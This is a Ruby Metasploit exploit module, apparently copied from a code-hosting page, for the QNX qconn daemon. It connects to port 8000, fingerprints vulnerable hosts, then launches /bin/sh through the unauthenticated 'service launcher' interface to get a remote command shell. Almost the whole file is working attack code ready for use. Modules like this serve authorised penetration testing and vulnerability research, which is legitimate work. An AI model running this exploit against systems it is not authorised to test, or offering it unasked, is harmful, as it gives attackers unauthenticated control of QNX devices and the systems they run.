145 lines
3.8 KiB
Ruby
145 lines
3.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'QNX qconn Command Execution',
|
|
'Description' => %q{
|
|
This module uses the qconn daemon on QNX systems to gain a shell.
|
|
|
|
The QNX qconn daemon does not require authentication and allows
|
|
remote users to execute arbitrary operating system commands.
|
|
|
|
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
|
|
and 6.5.0 SP1 (x86).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'David Odell', # Discovery
|
|
'Mor!p3r', # PoC
|
|
'bcoles' # Metasploit
|
|
],
|
|
'References' => [
|
|
['EDB', '21520'],
|
|
['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'],
|
|
['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'],
|
|
['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html']
|
|
],
|
|
'Payload' => {
|
|
'BadChars' => '',
|
|
'DisableNops' => true,
|
|
'Compat' => {
|
|
'PayloadType' => 'cmd_interact',
|
|
'ConnectionType' => 'find'
|
|
}
|
|
},
|
|
'DefaultOptions' => {
|
|
'WfsDelay' => 10,
|
|
'PAYLOAD' => 'cmd/unix/interact'
|
|
},
|
|
'Platform' => 'unix', # QNX Neutrino
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [['Automatic', {}]],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2012-09-04',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => []
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8000),
|
|
OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
vprint_status('Sending check...')
|
|
|
|
connect
|
|
res = sock.get_once(-1, 10)
|
|
|
|
return CheckCode::Unknown('Connection failed') unless res
|
|
|
|
return CheckCode::Safe unless res.include?('QCONN')
|
|
|
|
sock.put("service launcher\n")
|
|
res = sock.get_once(-1, 10)
|
|
|
|
return CheckCode::Safe unless res.to_s.include?('OK')
|
|
|
|
fingerprint = Rex::Text.rand_text_alphanumeric(5..10)
|
|
sock.put("start/flags run /bin/echo /bin/echo #{fingerprint}\n")
|
|
|
|
return CheckCode::Safe unless res.to_s.include?('OK')
|
|
|
|
Rex.sleep(1)
|
|
|
|
res = sock.get_once(-1, 10)
|
|
|
|
return CheckCode::Safe unless res.to_s.include?(fingerprint)
|
|
|
|
disconnect
|
|
|
|
CheckCode::Vulnerable
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
res = sock.get_once(-1, 10)
|
|
|
|
fail_with(Failure::Unreachable, 'Connection failed') unless res
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Unexpected reply') unless res.include?('QCONN')
|
|
|
|
sock.put("service launcher\n")
|
|
res = sock.get_once(-1, 10)
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Unexpected reply') unless res.to_s.include?('OK')
|
|
|
|
print_status('Sending payload...')
|
|
sock.put("start/flags run #{datastore['SHELL']} -\n")
|
|
|
|
Rex.sleep(1)
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Shell negotiation failed. Unexpected reply.') unless negotiate_shell(sock)
|
|
|
|
print_good('Payload sent successfully')
|
|
|
|
handler
|
|
end
|
|
|
|
def negotiate_shell(sock)
|
|
Timeout.timeout(15) do
|
|
loop do
|
|
data = sock.get_once(-1, 10)
|
|
|
|
return if data.blank?
|
|
|
|
if data.include?('#') || data.include?('No controlling tty')
|
|
return true
|
|
end
|
|
|
|
Rex.sleep(0.5)
|
|
end
|
|
end
|
|
rescue ::Timeout::Error
|
|
return nil
|
|
end
|
|
end
|